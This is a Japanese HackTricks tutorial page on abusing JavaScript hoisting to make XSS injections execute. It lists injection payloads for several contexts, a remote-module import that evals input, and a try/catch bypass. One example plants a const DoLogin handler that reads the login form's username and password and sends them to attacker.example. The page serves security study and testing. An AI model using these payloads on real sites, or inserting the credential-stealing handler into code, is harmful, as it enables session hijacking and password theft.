JS Hoisting

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

基本情報

JavaScriptでは、変数、関数、クラス、またはimportの宣言がコード実行前にスコープの先頭に概念的に移動する仕組み、つまりHoistingが存在します。この処理はJavaScriptエンジンによって自動的に行われ、スクリプトを複数回のパスで解析します。

最初のパスでは、エンジンは構文エラーをチェックするためにコードを解析し、抽象構文木に変換します。この段階には、特定の宣言が実行コンテキストの先頭に移動されるHoistingも含まれます。パース段階が成功し(構文エラーがないことが確認されれば)、スクリプトの実行が進みます。

理解しておくべき重要な点は次のとおりです。

  1. スクリプトは実行されるために構文エラーがないことが必須です。構文規則は厳密に守る必要があります。
  2. スクリプト内でのコードの配置はHoistingにより実行に影響を与えます。実行されるコードはテキスト上の表現と異なる場合があります。

Hoisting の種類

MDNの情報によると、JavaScriptには4つの異なるHoistingのタイプがあります:

  1. Value Hoisting: 宣言行より前にスコープ内で変数の値を使用できるようにします。
  2. Declaration Hoisting: 宣言前にスコープ内で変数を参照でき、ReferenceErrorを発生させませんが、変数の値はundefinedになります。
  3. このタイプは、変数が実際の宣言行よりも前に存在することでスコープ内の振る舞いが変化します。
  4. 宣言の副作用が、それを含む残りのコードが評価される前に発生します。

詳細として、関数宣言はタイプ1のHoisting挙動を示します。varキーワードはタイプ2の挙動を示します。letconst、およびclassを含むレキシカル宣言はタイプ3の挙動を示します。最後に、import文はタイプ1とタイプ4の両方の挙動でホイスティングされる点が特殊です。

シナリオ

したがって、未宣言のオブジェクトが使用された後にInject JS code after an undeclared objectできるシナリオでは、そのオブジェクトを宣言してfix the syntaxすることで(エラーを投げる代わりにコードが実行されるように)対処できます:

// The function vulnerableFunction is not defined
vulnerableFunction('test', '<INJECTION>');
// You can define it in your injection to execute JS
//Payload1: param='-alert(1)-'')%3b+function+vulnerableFunction(a,b){return+1}%3b
'-alert(1)-''); function vulnerableFunction(a,b){return 1};

//Payload2: param=test')%3bfunction+vulnerableFunction(a,b){return+1}%3balert(1)
test'); function vulnerableFunction(a,b){ return 1 };alert(1)
// If a variable is not defined, you could define it in the injection
// In the following example var a is not defined
function myFunction(a,b){
return 1
};
myFunction(a, '<INJECTION>')

//Payload: param=test')%3b+var+a+%3d+1%3b+alert(1)%3b
test'); var a = 1; alert(1);
// If an undeclared class is used, you cannot declare it AFTER being used
var variable = new unexploitableClass();
<INJECTION>
// But you can actually declare it as a function, being able to fix the syntax with something like:
function unexploitableClass() {
return 1;
}
alert(1);
// Properties are not hoisted
// So the following examples where the 'cookie' attribute doesn´t exist
// cannot be fixed if you can only inject after that code:
test.cookie("leo", "INJECTION")
test[("cookie", "injection")]

その他のシナリオ

// Undeclared var accessing to an undeclared method
x.y(1,INJECTION)
// You can inject
alert(1));function x(){}//
// And execute the allert with (the alert is resolved before it's detected that the "y" is undefined
x.y(1,alert(1));function x(){}//)
// Undeclared var accessing 2 nested undeclared method
x.y.z(1,INJECTION)
// You can inject
");import {x} from "https://example.com/module.js"//
// It will be executed
x.y.z("alert(1)");import {x} from "https://example.com/module.js"//")


// The imported module:
// module.js
var x = {
y: {
z: function(param) {
eval(param);
}
}
};

export { x };
// In this final scenario from https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/
// It was injected the: let config;`-alert(1)`//`
// With the goal of making in the block the var config be empty, so the return is not executed
// And the same injection was replicated in the body URL to execute an alert

try {
if (config) {
return
}
// TODO handle missing config for: https://try-to-catch.glitch.me/"+`
let config
;`-alert(1)` //`+"
} catch {
fetch("/error", {
method: "POST",
body: {
url:
"https://try-to-catch.glitch.me/" +
`
let config;` -
alert(1) -
`//` +
"",
},
})
}
trigger()

Hoisting を使って例外処理を回避する

try { x.y(...) } catch { ... } で sink がラップされていると、ReferenceError によりあなたの payload が実行される前に処理が停止します。欠落している識別子を事前に宣言しておけば、呼び出しが続行され、注入した式が先に実行されます:

// Original sink (x and y are undefined, but you control INJECT)
x.y(1,INJECT)

// Payload (ch4n3 2023) – hoist x so the call is parsed; use the first argument position for code exec
prompt()) ; function x(){} //

function x(){} は評価の前にホイスティングされるため、パーサはもはや x.y(...) でエラーを投げません。prompt()y が解決される前に実行され、あなたのコードが実行された後に TypeError が発生します。

後続の宣言を先取りする — const で名前をロックする

もしトップレベルの function foo(){...} が解析される前に実行できるなら、同じ名前でレキシカルバインディング(例: const foo = ...)を宣言すると、後続の function 宣言がその識別子を再バインドするのを防げます。これは RXSS でページの後半に定義される重要なハンドラを乗っ取るために悪用できます:

// Malicious code runs first (e.g., earlier inline <script>)
const DoLogin = () => {
const pwd  = Trim(FormInput.InputPassword.value)
const user = Trim(FormInput.InputUtente.value)
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd))
}

// Later, the legitimate page tries to declare:
function DoLogin(){ /* ... */ } // cannot override the existing const binding

注意

  • これは実行順序とグローバル(トップレベル)スコープに依存します。
  • ペイロードが eval() 内で実行される場合、eval 内の const/let はブロックスコープになりグローバルバインディングを作成しないことを覚えておいてください。本当にグローバルな const を確立するには、コードを含む新しい <script> 要素を注入してください。

Dynamic import() with user-controlled specifiers

サーバーサイドレンダリングされたアプリは、コンポーネントを遅延ロードするためにユーザー入力を import() に渡すことがあります。import-in-the-middle のようなローダーが存在する場合、specifier からラッパーモジュールが生成されます。ホイスティングされた import の評価は、後続の行が実行される前に攻撃者制御のモジュールを取得して実行するため、SSR コンテキストで RCE を可能にします(CVE-2023-38704 を参照)。

Tooling

最近のスキャナーは明示的なホイスティング用ペイロードを追加し始めています。KNOXSS v3.6.5 は “JS Injection with Single Quotes Fixing ReferenceError - Object Hoisting” と “Hoisting Override” のテストケースを列挙しています。ReferenceError/TypeError を投げる RXSS コンテキストに対して実行すると、ホイストベースのガジェット候補が素早く浮かび上がります。

References

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする